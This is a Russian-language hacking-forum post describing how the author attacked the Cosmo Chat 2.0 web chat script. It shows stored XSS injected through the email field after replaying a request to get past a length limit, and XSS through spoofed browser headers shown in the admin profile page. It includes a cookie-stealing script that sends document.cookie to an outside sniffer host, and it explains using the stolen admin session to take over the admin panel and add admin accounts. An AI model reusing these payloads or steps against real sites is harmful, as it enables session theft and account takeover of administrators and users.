Чаты Секс с Cosmo Chat 2.0

Discussion in 'Веб-уязвимости' started by _kREveDKo_, 5 May 2006.

  1. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    Эта небольшая статейка о том, как я имел чат "Cosmo Chat (v2.0)".
    Всё началось по банальному сценарию: когда приберал мусор, нашёл
    архивчик со скриптами и решил поковыряться, отвлекшись от муторного
    перебирания скопившихся файлов...

    К сожалению версия чата не показывается на страничке входа в комнату,
    но при установке чата в директории валяется файлик "readme.htm" и если
    беспечный админ не удалил его или не закрыл к нему доступ, то мы можем
    спокойно определить версию чата, обратившись к этому фаЙлику. Версия видна
    в самом верху странички. Правда
    никто не мешал админу изменить на этой странице версию на ту, которая нравится ему =)

    Сперва, как всегда я зарегал юзвера. Тут же начал щупать поле email'a. Проверялся
    формат мыла. Т.е. конструкция проверки на XSS '><h1>test не прокатила
    и скрипт выплюнул ошибку email'a. Ну, думаю, значит и фильтр стоит. Вот
    тока на всякий пожарный проверил. Вбиваю: [email protected]'><h1>test. И как ни странно,
    скрипт всё скушал и облизнулся, пригласив меня в чат.

    Когда вошёл, забыл про инъекцию в мыле и принялся набирать "кривые" фразы в общую комнату,
    но безуспешно. Вспомнил про мыло и, кликнув на кнопке профиля лицезрел большую надпись
    test. Улыбнувшись, принялся колбасить в эту строку скрипт для сниффера, но меня
    обломало ограничение по количеству вводимых символов. Не долго думая, отлавливаю
    прогой Naviscope тсходящий пакет, посылаемый при нажатии на пимпу "Применить". Отыскиваю там
    передаваемые параметры, и, изменив мыло на кучу символов, количество которых превышает
    ограничение, посылаю этот левый пакет (с помощью проги Inet Crack (респект Algol'у)).
    И что выдумаете? При обновлени странички с данными я вижу эту самую белеберду, что я ввёл.
    Мда, хорошая проверка, ничего не скажешь =).

    Итак, не вижу больше преград для свидания сниффера и - поля email. (БАГА № 1)

    Админ, просматривая лист всех зареганных юзверей успешно высылает нам свои плюшки.
    Также у него там есть функция просмотра профайла конкретного пользователя, так вот
    сниффер ждёт его и там...=)

    Едем дальше. Помимо нашего мыла, имени, ip, открытого пароля (!) скрипт показывает ещё и
    данные о системе (браузер, ос и т.д.). Тут у меня сразу ручки потянулись к программе
    RMOS Change. Она позволяет менять http-заголовки браузеров IE, Firefox и Mozilla.

    Быстренько меняю свои данные на конструкцию типа:
    <script>img=new Image();img.src="http://sniff/sniff.php?"+document.cookie;</script>

    Залажу в админку, смотрю профиля и опять успешно отправляю очередную порцию печенек
    своему ручному нюхачу =). (БАГА № 2)


    В общемо-то есть ещё одна баша, опять XSS. Когда мы уже получили админские куки, залазим
    в админку и помимо добавления ещё одного юзвера в админы/модеры/супермодеры(так
    мы вообще-то можем закрепиться в админах) мы можем банить пользователей.
    Имя пользователя не проверяется и мы можем круто поприкалываться нам чуханами в чате, т.к. когда банишь или даёшь кляп в чате пишется:
    _имя_ получил кляп.

    Вот так вот.
     
    1 person likes this.